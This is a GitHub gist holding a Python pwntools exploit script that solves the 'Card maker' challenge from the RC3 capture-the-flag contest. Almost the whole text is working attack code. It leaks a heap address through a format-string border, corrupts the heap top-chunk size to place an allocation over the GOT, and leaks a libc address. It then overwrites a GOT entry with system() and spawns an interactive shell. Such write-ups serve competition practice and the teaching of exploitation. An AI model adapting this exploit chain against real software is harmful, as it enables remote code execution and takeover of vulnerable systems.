Skip to content

Instantly share code, notes, and snippets.

@Grazfather
Last active June 4, 2017 18:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Grazfather/41cdebfe6f952389773daaba92039c19 to your computer and use it in GitHub Desktop.
Save Grazfather/41cdebfe6f952389773daaba92039c19 to your computer and use it in GitHub Desktop.
RC3 PWN 500 Card maker solution
#!/usr/bin/env python
import sys
from pwn import *
port = 8080
strtol_addr = 0x6030B0
def add_card(frum, to, ip, port, border, length, data):
r.sendline("1")
r.recvuntil("Who is this card from?\n")
r.sendline(frum)
r.recvuntil("Who is this card going to?\n")
r.sendline(to)
r.recvuntil("What address and port should I send this to? (ip:port)\n")
r.sendline("{}:{}".format(ip, port))
r.recvuntil("What border would you like around the card? (max of 2 chars)\n")
r.sendline(border)
r.recvuntil("How long is your message...?")
r.sendline(length)
r.recvuntil("What would you like your card to say? (end with 'done.' on its own line)\n")
r.sendline(data)
r.sendline("done.")
r.recv()
def delete_card(index):
r.sendline("4")
r.recvuntil("Which card do you want to delete: ")
r.sendline(str(index))
def send_recv_card():
lr = listen(port=port, bindaddr=host)
r.sendline("5")
recvd = lr.readuntil("Cardmaker")
lr.close()
return recvd
def list_card_contents(num):
r.sendline("2")
r.recvuntil("Which card do you want to print the fields of: ")
r.sendline(str(num))
r.recvuntil("Contents: ")
return r.recv()
def exploit():
# Leak out addresses
# -- rsi, rdx, rdx, r8, r9, [rsp ...]
add_card("me", "you", host, port, "%X", "6", "hello")
recvd = send_recv_card()
# Parse out heap address from r9
# -- Luckily rsi, rdx, rdx, r8 are always 1, 1, 3, 1 bytes longs
heap = int(recvd[recvd.index('\n')+7:recvd.index('400')], 16) & 0xFFFFF000
log.info("Got heap address 0x{:X}".format(heap))
# Overwrite the wilderness with -1
add_card("me", "you", host, port, "xx", " -10", p64(0)*3 + p64(2**64-1) + p64(0)*2)
# Move the wilderness on top of the GOT
# -- size = target - wilderness address - 16
target = strtol_addr
wild = heap + 0x98
size = target - wild - 16 - 0x28 - 0x30
add_card("me", "you", host, port, "xx", " {}".format(size), "")
# Leak out the original value of this GOT entry
# This'll overwrite the GOT entry and corrupt it! So we make sure it's one we don't need anymore
# -- First a dummy alloc that takes one out of a bin
add_card("me", "you", host, port, "xx", "0", "")
# Now this one will point to memset
add_card("me", "you", host, port, "xx", "0", "")
contents = list_card_contents(5)
memset_addr = u64(contents[:6] + "\x00\x00")
log.info("Found memset at 0x{:x}".format(memset_addr))
system_addr = memset_addr - 0x45f20
log.info("System should be at 0x{:x}".format(system_addr))
# Now next alloc will land on close
delete_card(3)
add_card("me", "you", host, port, "xx", "50", p64(system_addr))
r.sendline("/bin/sh")
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
host = "aws ip"
exploit()
else:
r = process(['./cardmaker'], env={"LD_PRELOAD":"libc-2.23.so"})
print util.proc.pidof(r)
host = "0"
pause()
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment